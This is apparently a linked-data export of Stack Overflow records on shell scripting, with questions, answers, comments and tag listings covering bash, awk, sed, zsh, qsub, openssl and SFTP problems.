upvote count: 1
has comment: http://stackoverflow.com/comment/135233530
has comment: http://stackoverflow.com/comment/135233494
answers question: http://stackoverflow.com/q/76703900
score: 1
has comment: http://stackoverflow.com/comment/135233445
has comment: http://stackoverflow.com/comment/135233698
has comment: http://stackoverflow.com/comment/135235160
type: Answer
has comment: http://stackoverflow.com/comment/135233570
has comment: http://stackoverflow.com/comment/135238615
has body: Calling the shell script as an executable works, sourceing it does not. You are calling ./test_shell.sh. Yet, you source test_shell.sh. Why? Because there is no such script in PATH If you want to source ./test_shell.sh then source ./test_shell.sh not source test_shell.sh.

while-loop
type: Tag
tag name: while-loop
tags question: http://stackoverflow.com/q/76669795
tags question: http://stackoverflow.com/q/76952315
tags question: http://stackoverflow.com/q/76945139
tags question: http://stackoverflow.com/q/77306690
tags question: http://stackoverflow.com/q/77564647
tags question: http://stackoverflow.com/q/78339775
tags question: http://stackoverflow.com/q/79111022
tags question: http://stackoverflow.com/q/79544598

http://stackoverflow.com/a/76826520
type: Answer
accepted answer of: http://stackoverflow.com/q/76617551
type: AcceptedAnswer
has body: curl -o txt.txt --insecure --no-buffer --no-keepalive --header "Connection: Upgrade" --header "Upgrade: websocket" --header "Sec-WebSocket-Version: 13" --header "Sec-WebSocket-Key: websocket" -v -i ${array[i]} result=$(cat txt.txt | awk '/^HTTP/{print $2}') echo $result I use a txt.txt file to save the result,then use awk analysis the result code. I use it work.
score: 0
answers question: http://stackoverflow.com/q/76617551

http://stackoverflow.com/comment/135114793
type: Comment
comment on: http://stackoverflow.com/q/76633771
has text: Perhaps [this](https://www.gnu.org/software/sed/manual/sed.html#Execution-Cycle) helps. N.B. The `i`,`a`,`c` and `=` output to stdout and are not part of the pattern space. Also `a appended text` is gnu specific where as `a\appened text` is posix. Finally `F` is gnu specific outputs the filename or `-` if piped.
score: 0
type: QuestionComment

http://stackoverflow.com/q/76574631
has title: Sort URLs by considering parameters
tagged with: bash
has comment: http://stackoverflow.com/comment/135011620
type: Question
has body: I have the following list of URLs: https://example.com/a?one=1&two=2 https://example.com/a?two=2&one=1 https://example.com/b?two=2&one=1 https://example.com/b?one=1&two=2 https://example.com/b?one=1 https://example.net/a/x?two=2&one=1 https://example.net/a/x?two=2&one=1 The result which I would like to get: https://example.com/a?one=1&two=2 https://example.com/b?one=1&two=2 https://example.com/b?one=1 https://example.net/a/x?two=2&one=1 The problem is that the following links are "identical"; the only difference is the order of the parameters: https://example.com/a?one=1&two=2 https://example.com/a?two=2&one=1 https://example.com/b?two=2&one=1 https://example.com/b?one=1&two=2 Is it possible to sort the URLs by considering the parameters? Not sure which approach should be used here, maybe someone already has a solution; I can only assume that it is achievable by using awk.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135012728
has answer: http://stackoverflow.com/a/76576211
has comment: http://stackoverflow.com/comment/135013642
has answer: http://stackoverflow.com/a/76575943
has comment: http://stackoverflow.com/comment/135012709
score: 0
answer count: 2
tagged with: shell
has comment: http://stackoverflow.com/comment/135011514
has comment: http://stackoverflow.com/comment/135011624
has comment: http://stackoverflow.com/comment/135011662

http://stackoverflow.com/comment/135068789
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76607874
has text: With `GNU awk 5.2.1` I get a syntax error from `(n % 1 = 0)`; primary issue is that `=` is used for assignments while `==` is used for comparisons. Try replacing `(n % 1 = 0)` with `(n % 1 == 0)`.
type: QuestionComment

http://stackoverflow.com/comment/135093641
comment on: http://stackoverflow.com/q/76622698
type: QuestionComment
type: Comment
score: 0
has text: Also, `bash -c "$InlineShell"` needs the quotes if your outer shell is POSIXy (which is to say, not zsh; and since bash is the only shell your question mentions, I have to assume it's the one you're running). Leaving them out breaks things -- setting `IFS=` avoids _some_ failure cases from missing quotes, but not all of them.

http://stackoverflow.com/comment/135078587
type: Comment
has text: Please show a relevant snippet of the input file in the question itself, instead of linking to an external resource ([mcve]). For now, I can tell you that `alpha=$(...)` doesn't create an array, but a string. `alpha=($(...))` creates an array, or (better) `readarray`/`mapfile`.
score: 3
comment on: http://stackoverflow.com/q/76613778
type: QuestionComment

http://stackoverflow.com/comment/135152915
type: QuestionComment
type: Comment
has text: yea I agree, I am trying a different approach with $wsh.AppActivate("the app i want") sleep 5 if ($wsh.AppActivate("nothing")){ $wsh.AppActivate("nothing")} else{ [System.Windows.Forms.SendKeys]::SendWait('%{TAB}')} sleep 5 But how can I make it use the current app/window application that I am on a bit more clean since it works that way but it cycles all alt tabs till last one i think or not sure? (in the if function) also sorry if the code looks nasty its my first time using stack and I am not sure yet how to properly write it
comment on: http://stackoverflow.com/q/76656871
score: 0

http://stackoverflow.com/comment/135082716
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76616176
has text: Then it might not be possible to use it to set a variable whose value includes commas.

http://stackoverflow.com/comment/134972674
type: AnswerComment
comment on: http://stackoverflow.com/a/76551406
score: 0
has text: That was it. Silly omission, thank you. The missing letters correspond to the string `old_IFS`
type: Comment

http://stackoverflow.com/q/76702391
has answer: http://stackoverflow.com/a/76702782
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
tagged with: python
has body: From a main python script, here main.py, I would like to call multiple subscripts, which are either python scripts themselves (here sub1.py for simplicity) or bash/shell scripts (here sub2.sh for simplicity; these are called via subprocess.Popen()). The subscripts need several variables from main.py; and conversely main.py may need variables set in the subscripts. Therefore variables need to be transferred between python-python (main.py <--> sub1.py) and python-shell (main.py <--> sub2.sh). Some ways I know: main.py --> sub1.py: call sub1.py from main.py via os.system() or subprocess.Popen(), pass variables as script arguments, retrieve from e.g. sys.argv[1] in sub1.py main.py --> sub1.py: import sub1.py into main.py; variables from main.py must be set to sub1.py namespace, else not recognized by sub1.py; if there's non-function/-class code in sub1.py (i.e. "global" script code, is it executed properly as well)? main.py --> sub2.sh: call sub2.sh from main.py via os.system() or subprocess.Popen(), pass variables as script arguments, retrieve from e.g. $1 in sub2.sh all directions / script types: store variables in some file from one script in whichever format (e.g. .txt, .dat, .pickle (for python-python transfer)), read variables from file in the other script all directions / script types: store variables as environment variables from one script (in the os.environ[] dictionary), extract from there as needed within the other script Question: What is the most convenient method to transfer variables (share info) between python and python or between python and shell scripts? Background of the question: main.py is a python translation of a previous shell script main.sh. In main.sh, any subscript subX.sh (there were fewer python scripts at that point) was called via source subX.sh, such that variables from main.sh and subX.sh were always known to the respective other scripts (as source runs the subscript in the same shell). The python version used is 2.7.18 (compatibility …
tagged with: global-variables
has comment: http://stackoverflow.com/comment/135227978
tagged with: bash
answer count: 1
has title: Transferring variables between python and python or shell scripts
has comment: http://stackoverflow.com/comment/135228291

http://stackoverflow.com/comment/135150265
comment on: http://stackoverflow.com/a/76656211
has text: Removed the part what you suggested and still the same thing happened. :,(
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135147324
comment on: http://stackoverflow.com/q/76631087
score: 0
type: Comment
has text: Not sure what you mean by applying the diff, but it seems to me we're saying the same thing.
type: QuestionComment

http://stackoverflow.com/a/76699525
has comment: http://stackoverflow.com/comment/135225871
type: Answer
answers question: http://stackoverflow.com/q/76681101
has body: To provide you with accurate help, more information regarding your Elasticache Redis cluster is needed: Could you please specify if you are using Cluster Mode Enabled (CME) or Cluster Mode Disabled (CMD)? Which version of Redis are you currently utilizing? Which type of engine you are using? etc. In the meantime, you may find the following documentation resources useful: Backups Constraints Scheduling automatic backups
score: 0

http://stackoverflow.com/q/76638009
score: 2
has comment: http://stackoverflow.com/comment/135118903
upvote count: 2
accepted answer: http://stackoverflow.com/a/76638142
has comment: http://stackoverflow.com/comment/135173798
has comment: http://stackoverflow.com/comment/135119065
type: AnsweredQuestion
has title: zsh script is throwing a syntax error: `parse error near `()'`
tagged with: zsh
linked to: http://stackoverflow.com/q/61561357
has comment: http://stackoverflow.com/comment/135118899
has answer: http://stackoverflow.com/a/76638142
has comment: http://stackoverflow.com/comment/135118901
type: Question
has body: I am using Mac OS and zsh terminal. When I am running my file I am getting this error on my terminal. /file/path/.git_alias:10: defining function based on alias `gss' /file/path/.git_alias:10: parse error near `()' Can someone help me why I am getting this error? Here is my file name and file content. file name: .git_alias file content: alias gsl='git stash list' gsa() { local num num=$1 shift 1 || return git stash apply stash@{&quot;${num}&quot;} &quot;$@&quot;; } gss() { local comment comment=$1 shift 1 || return git stash save -u &quot;${comment}&quot; &quot;$@&quot;; } I tried to look for bash syntax and tried to add and remove &quot; at appropriate places but I am still getting the same error mentioned above.
tagged with: shell
has comment: http://stackoverflow.com/comment/135118992
has comment: http://stackoverflow.com/comment/135119258
downvote count: 0
has comment: http://stackoverflow.com/comment/135118972
duplicate of: http://stackoverflow.com/q/61561357
answer count: 1
favorite count: 0

http://stackoverflow.com/a/76678743
upvote count: 2
downvote count: 0
has body: Using any POSIX awk plus column: $ cat tst.awk BEGIN { OFS="\t" } !NF { next } { gsub(/^[[:space:]]+|[[:space:]]+$/,"") } NR==1 { vals[1,1] = $0; next } /^-+$/ { ++numRows; colNr=1; next } { vals[numRows,++colNr] = $0 numCols = colNr } END { numRows -= (colNr == 1) for ( rowNr=1; rowNr<=numRows; rowNr++) { for ( colNr=1; colNr<=numCols; colNr++ ) { printf "%s%s", vals[rowNr,colNr], (colNr<numCols ? OFS : ORS) } } } $ awk -f tst.awk file | column -s $'\t' -t Installed Products: Desktop Applications Module (sle-module-desktop-applications/15.2/x86_64) Registered Server Applications Module (sle-module-server-applications/15.2/x86_64) Registered Basesystem Module (sle-module-basesystem/15.2/x86_64) Registered Legacy Module (sle-module-legacy/15.2/x86_64) Not Registered You can choose to only print some columns instead of all of them if you prefer, e.g.: for ( rowNr=1; rowNr<=numRows; rowNr++) { print vals[rowNr,1], vals[rowNr,2], vals[rowNr,4] }
answers question: http://stackoverflow.com/q/76678549
type: Answer
score: 2

http://stackoverflow.com/comment/135214340
type: QuestionComment
type: Comment
score: 0
has text: MagnumDb (which I wrote) is not a scrapper, it's more a parser of official SDK headers. It doesn't know because it's undocumented (although it does know about some undocumented GUIDs)
comment on: http://stackoverflow.com/q/76690713

http://stackoverflow.com/q/76605154
has comment: http://stackoverflow.com/comment/135068501
tagged with: scripting
has body: I'm new to scripts. In the context of work, I was tasked with creating a script that takes in two values from the user (keyword and category).[Step A] Then, the script should search a repo of files for the folder that has the same name as the category. (In the context of this script, a category will correspond to a folder name) [Step B] Once found, it should copy the files in that folder to a new temporary folder that it creates. [Step C] After that, the script should search for every instance of the keyword in the files of the temp folder and return them. [Step D] The last step is to delete the temporary folder. [Step E] I know the scripts are in Korn Shell(if that makes any sense). Do you guys have any tips on what documentation to read so that I can find what I'm looking for for any of the steps? At the moment I have this for Step A: echo "Please enter category" read category echo $category echo "Please enter keyword" read keyword echo $keyword Is this the correct way to go?
has title: Script that takes in a keyword and a category from user and finds all instances of keyword in files of that category
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76609828
score: 0
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76609828
answer count: 1

http://stackoverflow.com/comment/135052462
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76598474
has text: Thanks, I'll check it soon. I edited the question, there were extra `.conf.conf` which replaced by `.conf`. Please edit the answer and file names

http://stackoverflow.com/q/76616176
has comment: http://stackoverflow.com/comment/135082708
has answer: http://stackoverflow.com/a/76617693
tagged with: variable-expansion
has comment: http://stackoverflow.com/comment/135082714
tagged with: bash
has comment: http://stackoverflow.com/comment/135082566
answer count: 1
has comment: http://stackoverflow.com/comment/135082716
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135082605
tagged with: pbs
has comment: http://stackoverflow.com/comment/135082571
has title: Pass a variable that contains a comma as a -v option to qsub
has comment: http://stackoverflow.com/comment/135082681
has body: In qsub, we can pass environment variables like so: info="This is some info" qsub -v INFO=$info script.pbs However, this becomes problematic when $info contains a comma. info="This is some info, and here is some more!" qsub -v INFO=$info script.pbs This will trigger an error like so: ERROR: -v: variable ' and here is some more!' is not set in environment variables. I have also tried encapsuling info, INFO="$info" leading to the same issue. How can I pass $info correctly, even if it contains one or more commas? The same question holds with newlines. Perhaps an interesting observation is that when I echo -e $info I get the output that I expect. The error is triggered in the qsub command specifically.
score: 0
type: Question
accepted answer: http://stackoverflow.com/a/76617693
tagged with: shell
tagged with: qsub
has comment: http://stackoverflow.com/comment/135082701
has comment: http://stackoverflow.com/comment/135084859
has comment: http://stackoverflow.com/comment/135082672
has comment: http://stackoverflow.com/comment/135082624

http://stackoverflow.com/comment/134970948
type: QuestionComment
comment on: http://stackoverflow.com/q/76551048
type: Comment
score: 0
has text: As far as I can tell, this question is a duplicate of [this one](https://stackoverflow.com/q/89228/7328782). Please [edit] your post to clarify how this is not a duplicate by showing what you did and telling us why that didn’t work.

http://stackoverflow.com/comment/134985701
type: AnswerComment
has text: Added some extra examples for capturing the output from `time`.
score: 0
comment on: http://stackoverflow.com/a/76558876
type: Comment

http://stackoverflow.com/comment/135078648
comment on: http://stackoverflow.com/q/76613778
score: 0
has text: All of the above, AND please include your expected output (sans colors, I guess). You should be able to include your current output in the body of your question without using a link to another external resource. Copy/paste the relevant data into your question, and with it still highlighted as *selected*, click the `{}` tool in the Edit menu to get formatting for `code/data/output/errMsgs/etc` .Good luck. s
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135163880
has text: Relative/Absolute Path, Php binary, perms, all of these are ok ?
comment on: http://stackoverflow.com/q/76664368
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76689787
has comment: http://stackoverflow.com/comment/135206793
type: Question
has comment: http://stackoverflow.com/comment/135206941
upvote count: 0
has answer: http://stackoverflow.com/a/76690073
tagged with: shell
type: UnansweredQuestion
tagged with: automation
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135206894
score: -1
has title: I am trying to extract the modulus from the openssl command output using a bash shell script
tagged with: openssl
tagged with: bash
has comment: http://stackoverflow.com/comment/135206926
downvote count: 1
has body: Here is the sequence of commands that I am using to get the public key. Once I get the public key, I want to extract the modulus from the output. openssl genpkey -algorithm rsa -pkeyopt rsa_keygen_bits:1024 -out key_rsa_private_1024.pem openssl rsa -inform PEM -in key_rsa_private_1024.pem -text openssl rsa -in key_rsa_private_1024.pem -pubout -out key_rsa_pub_1024.pub openssl rsa -pubin -inform PEM -in key_rsa_pub_1024.pub -text The output looks like this - Public-Key: (1024 bit) Modulus: 00:c5:f3:4b:c7:a3:c0:23:7a:0e:d4:f3:3e:07:06: 4a:1e:7c:9d:ed:4d:23:8f:4b:00:6f:bc:f3:05:3b: 62:2e:35:00:78:d2:af:7f:7a:f0:fe:e3:c0:37:f6: c3:58:4f:34:91:b7:91:a1:32:3e:d5:28:ab:f7:5d: 5e:e6:ba:14:76:b8:84:d6:45:2d:48:47:68:53:39: 54:55:d3:70:ef:f8:92:09:78:77:31:d6:ee:e5:6f: 8e:59:4d:c2:40:1f:6d:7b:32:c7:b6:91:c4:75:9e: 95:d6:d7:d9:39:60:f7:13:d5:95:4e:ff:4b:7d:dc: e8:fd:b0:a1:25:57:32:f5:ff Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDF80vHo8Ajeg7U8z4HBkoefJ3t TSOPSwBvvPMFO2IuNQB40q9/evD+48A39sNYTzSRt5GhMj7VKKv3XV7muhR2uITW RS1IR2hTOVRV03Dv+JIJeHcx1u7lb45ZTcJAH217Mse2kcR1npXW19k5YPcT1ZVO /0t93Oj9sKElVzL1/wIDAQAB -----END PUBLIC KEY----- I explored some commands such as grep and awk, but these do not give me the output I need.

http://stackoverflow.com/a/76606944
type: Answer
has body: You can also pass the environment variables in the script itself. You need to use -D appender for each variable. Refer the example below: java -jar jarname.jar -Dlocal.file.path=/path/to/file -Done.more.var=ABCD And in you application.yml file, you can reference these like below: local: file: path: ${local.file.path} one: more: var: ${one.more.var} PS: The env variables you are passing in IntelliJ, that also works like above internally. Exporting variables in shell script will not make it visible to your java program, you need to pass it in command line arguments always.
score: 1
answers question: http://stackoverflow.com/q/76606743
downvote count: 0
has comment: http://stackoverflow.com/comment/135147000
upvote count: 1

http://stackoverflow.com/comment/135173470
type: QuestionComment
has text: The first word in the first line of your config file seems to be the string `FILE_PATH=/export/home/jaqst/training/testdir_1`, which is stored into your variable `FILE_PATH` and there is no file of this name (as you can verify by doing a `ls FILE_PATH=/export/home/jaqst/training/testdir_1`). You have to write a proper parser for your configuration file.
type: Comment
comment on: http://stackoverflow.com/q/76669795
score: 2

http://stackoverflow.com/comment/135091036
score: 1
type: QuestionComment
type: Comment
has text: fwiw, the output shows the `ping` error is being sent to the terminal as opposed to being captured by the variable assignment (`variable=$( ...)`); adding `2>&1` on the end of the `multipass/ping` command should be sufficient to insure the variable assignment also captures anything send to stderr
comment on: http://stackoverflow.com/q/76620855

http://stackoverflow.com/comment/135091988
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76621621
has text: `vars["$var_name"]="$value"` is replacing the array element, not adding to it. So when the loop is done, `$vars` just contains the columns from the last line.

http://stackoverflow.com/q/76562116
has comment: http://stackoverflow.com/comment/134991041
type: UnansweredQuestion
has title: Why does my function call doesn't calls the respective function?
score: -1
tagged with: bigdata
tagged with: shell
has answer: http://stackoverflow.com/a/76584370
has body: I'm expecting the code to call the respective function based on the condition # Call Decrypt password function echo "country is:"$2 if [ $2 == MT ] then DecryptPassword() InsertSCSTAR_AMH exit 0; fi if [ $2 == MX ] then InsertSCSTAR_AMH fi
answer count: 1
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/134990376
type: Question
upvote count: 0

file-rename
tags question: http://stackoverflow.com/q/76585150
type: Tag
tag name: file-rename

http://stackoverflow.com/comment/135018479
score: 0
comment on: http://stackoverflow.com/a/76572254
type: Comment
type: AnswerComment
has text: Thanks for this, this really works, i tried this command when there are parent objects like "properties { basic { nodes_table [ node : 10.13.248...in the json, tried several ways using above code , but nothing gives me full out put with changed content, do you kniw where should Inplace parent objects filters in order to get full out put?

http://stackoverflow.com/comment/135149402
has text: Absolutly, we just cannot use your sample data to test our corrections or suggestions.
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76645511

http://stackoverflow.com/comment/134964812
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76545097
has text: @MarkSetchell In my test, it does not find `term3 term1 term5`. Have you tried ?
type: Comment

http://stackoverflow.com/a/76656840
downvote count: 0
answers question: http://stackoverflow.com/q/76656022
score: 1
upvote count: 1
type: Answer
has body: So is the other program simply calling popen("yourscript.sh test@$134!'") or a similar API call that uses a single string? If this is the case then that application must work harder to escape test@$134!' - it needs to escape the $ the ' and the ! perhaps also the @ and certain other characters if they are present against the popen shell performing interpretation. I.e. call popen("yourscript.sh test\@\$134\!\'") . Depending on the language you may have to double-escape these characters to ensure the language string processor does not consume the backslash: popen("yourscript.sh test\\@\\$134\\!\\'") - you would need this if the caller was C or C++. In many cases, simply using explicit double-quotes around the argument would be enough, as that causes many shell escapes to not be attempted - but because your string contains a dollar sign ($) some, or all of the phrase might be interpreted as a shell variable. Using single quotes round the phrase is an even more powerful anti-processor, but then the single quote you have in the string is an issue. Perhaps using a quotes wrapper reduces the number of symbols that you then need to escape (singlequote for singlequote vs $ and doublequote for doublequote) If that caller program is using an array of arguments API like exec({"yourscript.sh", "test@$134!'"}) and the documentation says the call is direct with no shell, then there is no risk of the argument being interpreted before it gets to your script, but you may want to directly call the script interpreter from the caller program: exec({"/bin/bash", "yourscript.sh", "test@$134!'"}). Then the problem probably is in your script. You need to ensure that whenever you use $1 you quote it as "$1" to ensure that it is not expanded. If you copy the $1 to a named variable then remember to quote that always. You may need to do both these fixes. If you are concerned that the argument might be interpreted as a command option, then you need to check the syntax of the commands you are usi…

http://stackoverflow.com/q/76576781
has body: I am trying to make an alert script that will run every 5min on my linux machine I only want the latest data to have an output and the data that already emailed will not be show anymore tail -n1 /var/log/message | grep suppress | mail-s 'suppress' test@hotmail.com On my command above it will run the same data over and over again until I received a new suppress alert
score: 0
tagged with: alert
tagged with: linux
tagged with: bash
has comment: http://stackoverflow.com/comment/135015651
has title: Linux Bash Alert Script /var/log/message
answer count: 1
type: AnsweredQuestion
tagged with: command
has comment: http://stackoverflow.com/comment/135015331
has comment: http://stackoverflow.com/comment/135015345
type: Question
has comment: http://stackoverflow.com/comment/135015391
tagged with: shell
has answer: http://stackoverflow.com/a/76577017
accepted answer: http://stackoverflow.com/a/76577017

http://stackoverflow.com/comment/135112317
score: 0
type: QuestionComment
has text: Thanks, Weather this script will update the Day, Month, and Year accordingly?
type: Comment
comment on: http://stackoverflow.com/q/76633671

http://stackoverflow.com/q/76546217
downvote count: 2
tagged with: bash
has body: I'm trying to extract the stock value from the line using awk and store it in the variable stock. Then, I attempt to decrease it by one and update the same position in the line. However, it seems that the updating process is not working properly. If livros stock is 71, when function vender_livro() is called for that book title the stock will change to 70 in livros.txt (Store Data). The output of livros works, displays the rightline. The output of stock (stock=$(echo "$linha" | awk '{print $6}')) returns the right value. Decreasing the values from stock works ("stock=$(($stock - 1))"). Problem: sed -i "s/$titulo[^ ]* $stock/$titulo $stock/" livros Is not replacing the new value correctly. The data inside books.txt is displayed in this order: "Author Title Description Genre NumPages Stock Price" Function :> vender_livro() { echo " -----------------" echo " | Sell Book |" echo " -----------------" read -p "Enter the title of the book to sell: " titulo if grep -q "$titulo" livros; then linha=$(grep "$titulo" livros) stock=$(echo "$linha" | awk '{print $6}') stock=$(($stock - 1)) sed -i "s/$titulo[^ ]* $stock/$titulo $stock/" livros echo "Book sold successfully!" else echo "No book found in the database." fi echo read -p "Press Enter to continue" continue clear }
has answer: http://stackoverflow.com/a/76546657
has comment: http://stackoverflow.com/comment/134963210
favorite count: 0
upvote count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/134963035
has answer: http://stackoverflow.com/a/76547407
has answer: http://stackoverflow.com/a/76546797
type: Question
possible better answer: http://stackoverflow.com/a/76547407
tagged with: shell
has comment: http://stackoverflow.com/comment/134963166
accepted answer: http://stackoverflow.com/a/76546797
has comment: http://stackoverflow.com/comment/134963358
score: -2
answer count: 3
has title: How to extracts a string value from the line using awk and stores it in a variable
has comment: http://stackoverflow.com/comment/134963018
tagged with: awk

http://stackoverflow.com/comment/135044489
has text: _Hi Akshay, Thanks for the reply. I found the issue my parent folder had special characters in the path name._ **Folder name: Series.S01.1080p.Bluray.x264-Unveil[rartv].** I have specified the absolute path in the get command that worked for me **get "C:/Users/{username}/downloads/Series.S01.1080p.Bluray.x264-Unveil[rartv]/unveil-movie1-1080p"** _As you suggested, if the path to the file has any special characters, we need to escape them using ". So, I have to change the directory name or give an absolute path in double quotes._
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/76593478

http://stackoverflow.com/comment/135229002
type: QuestionComment
has text: @chepner I guess the symbol at the last of the PATH is a typo. I replaced it. But still no improvement. I just need to access the WLAN address. Is there any other commands available other than this ? i tried ***'$(ip -4 addr show scope global | awk '/inet/ {print $2}' | cut -d'/' -f1)'*** but it returns the Ethernet ip address.
comment on: http://stackoverflow.com/q/76686394
type: Comment
score: 0

http://stackoverflow.com/comment/134991041
has text: I don't really see how this is related to big data. Seems like a shell script question, but you haven't even specified which one
comment on: http://stackoverflow.com/q/76562116
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135112408
comment on: http://stackoverflow.com/q/76633671
type: Comment
score: 0
has text: No no, there is no hyphen. I used here to explain only..
type: QuestionComment

http://stackoverflow.com/q/76578643
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/70460558
has comment: http://stackoverflow.com/comment/135022288
has title: Script to delete docker images older than X days on Private Docker Registry
has comment: http://stackoverflow.com/comment/135056585
type: Question
answer count: 0
tagged with: shell
has body: I have a private Docker registry, and I'm looking for a script (either shell or python) to delete images older than X Days. I found some examples but there are deleting all images except the latest tag which is not what I'm expecting. Any help will be appreciated !
has comment: http://stackoverflow.com/comment/135022457
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/135055932
tagged with: docker-registry
has comment: http://stackoverflow.com/comment/135021898
downvote count: 0

http://stackoverflow.com/comment/135127585
comment on: http://stackoverflow.com/q/76643341
type: Comment
score: 0
has text: So -- what changes to your dotfiles did you make while installing flutter? Be specific.
type: QuestionComment

http://stackoverflow.com/a/76636744
answers question: http://stackoverflow.com/q/76624018
type: Answer
score: 0
has body: I resolved the issue by reading the documentation which says: To execute multiple CLI commands, add them to any shell script and execute it. In any script you run that contains CLI commands, Oracle recommends you include the following directive before the CLI login statement: For Windows: set ESSCLI_ID=%USERNAME%%random% For Linux: export ESSCLI_ID=whoami$PPID This helps store session information and prevent execution errors when multiple scripts are run concurrently. https://docs.oracle.com/en/database/other-databases/essbase/21/ugess/download-and-use-command-line-interface.html
has comment: http://stackoverflow.com/comment/135170172

http://stackoverflow.com/a/76593246
has body: Instead of using a non-greedy quantifier, use a pattern that doesn't match the terminating ". $ echo "$json" | sed -nE 's/.*theSecret":"([^"]*)".*/\1/p' # (.*?) doesn't work
has comment: http://stackoverflow.com/comment/135048459
score: 1
accepted answer of: http://stackoverflow.com/q/76593228
type: AcceptedAnswer
upvote count: 3
has comment: http://stackoverflow.com/comment/135043787
type: Answer
has comment: http://stackoverflow.com/comment/135047031
downvote count: 2
answers question: http://stackoverflow.com/q/76593228

http://stackoverflow.com/comment/135140486
has text: The value that is held in '$muCH4_1' would appear in the output, not the name of the variable. The output would be the same format as in the current snippet of the .dat file, it would just be a different value
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76650830
type: QuestionComment

http://stackoverflow.com/q/76593397
has title: SFTP get failing File "/C:/Users/{username}/downloads/{myVideo.mkv} not found
answer count: 1
type: AnsweredQuestion
tagged with: sftp
type: Question
tagged with: ftp
has answer: http://stackoverflow.com/a/76593478
has body: I am trying to download few files using SFTP. ls -lrt -rw-***** 1 - - 3.3G unveil-movie1-1080p.mkv -rw-***** 1 - - 3.3G unveil-movie2=1080p.mkv ------- The following get command is failing for me with the following error ------- get unveil-movie1-1080p.mkv File "/C:/Users/vashi/downloads/Series.S01.1080p.Bluray.x264-Unveil[rartv]/unveil-movie1-1080p.mkv" not found. However if I do a recursive copy then I am able to download the files cd .. get -r Series.S01.1080p.Bluray.x264-Unveil[rartv] I'm transferring files from one Windows system to another. What did I miss? And also the file permissions are 777 in my remote machine but the sftp listing shows rw-***** I can download the directory but not individual files; I know we should be able to download individual files if the directory download is available; I'm not sure what I missed; any help would be really appreciated.
accepted answer: http://stackoverflow.com/a/76593478
score: 0
tagged with: shell

http://stackoverflow.com/a/76546797
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76546217
score: 0
type: Answer
has body: Before modification stock=$(($stock - 1)) sed -i "s/$titulo[^ ]* $stock/$titulo $stock/" livros After modification sed -i -E "s/($titulo ([^ ]+ ){3})$stock/\1$((--stock))/" livros
answers question: http://stackoverflow.com/q/76546217

http://stackoverflow.com/comment/135118992
score: 1
type: Comment
comment on: http://stackoverflow.com/q/76638009
type: QuestionComment
has text: The error happens because you already defined an alias named `gss`. Using that syntax to redefine it as a function gets that error. You should get rid of the alias definition.

http://stackoverflow.com/comment/135220446
comment on: http://stackoverflow.com/q/76697549
has text: Have you tried [this suggestion?](https://superuser.com/questions/1092033/how-can-i-make-zsh-tab-completion-fix-capitalization-errors-for-directories-and)
type: Comment
score: 0
type: QuestionComment

terminal
tags question: http://stackoverflow.com/q/76600353
tag name: terminal
tags question: http://stackoverflow.com/q/76560288
type: Tag
tags question: http://stackoverflow.com/q/76697549
tags question: http://stackoverflow.com/q/76805544
tags question: http://stackoverflow.com/q/76857017
tags question: http://stackoverflow.com/q/76779055
tags question: http://stackoverflow.com/q/77040845
tags question: http://stackoverflow.com/q/76996572
tags question: http://stackoverflow.com/q/76978564
tags question: http://stackoverflow.com/q/77218203
tags question: http://stackoverflow.com/q/77072494
tags question: http://stackoverflow.com/q/77155640
tags question: http://stackoverflow.com/q/77121773
tags question: http://stackoverflow.com/q/77424344
tags question: http://stackoverflow.com/q/77525016
tags question: http://stackoverflow.com/q/77467520
tags question: http://stackoverflow.com/q/77459090
tags question: http://stackoverflow.com/q/77504223
tags question: http://stackoverflow.com/q/77695134
tags question: http://stackoverflow.com/q/77689398
tags question: http://stackoverflow.com/q/77917181
tags question: http://stackoverflow.com/q/77836183
tags question: http://stackoverflow.com/q/77853793
tags question: http://stackoverflow.com/q/77916615
tags question: http://stackoverflow.com/q/77965648
tags question: http://stackoverflow.com/q/77965619
tags question: http://stackoverflow.com/q/78061723
tags question: http://stackoverflow.com/q/78094090
tags question: http://stackoverflow.com/q/78059818
tags question: http://stackoverflow.com/q/78241462
tags question: http://stackoverflow.com/q/78303080
tags question: http://stackoverflow.com/q/78444044
tags question: http://stackoverflow.com/q/78343573
tags question: http://stackoverflow.com/q/78489711
tags question: http://stackoverflow.com/q/78736578
tags question: http://stackoverflow.com/q/78742824
tags question: http://stackoverflow.com/q/78617693
tags question: http://stackoverflow.com/q/78617714
tags question: http://stackoverflow.com/q/78742731
tags question: http://stackoverflow.com/q/78665352
tags question: http://stackoverflow.com/q/78609403
tags question: http://stackoverflow.com/q/78882456
tags question: http://stackoverflow.com/q/78921080
tags question: http://stackoverflow.com/q/78936775
tags question: http://stackoverflow.com/q/78994709
tags question: http://stackoverflow.com/q/79052033
tags question: http://stackoverflow.com/q/79139373
tags question: http://stackoverflow.com/q/79117718
tags question: http://stackoverflow.com/q/79234977
tags question: http://stackoverflow.com/q/79229895
tags question: http://stackoverflow.com/q/79354578
tags question: http://stackoverflow.com/q/79332257
tags question: http://stackoverflow.com/q/79295848
tags question: http://stackoverflow.com/q/79479813

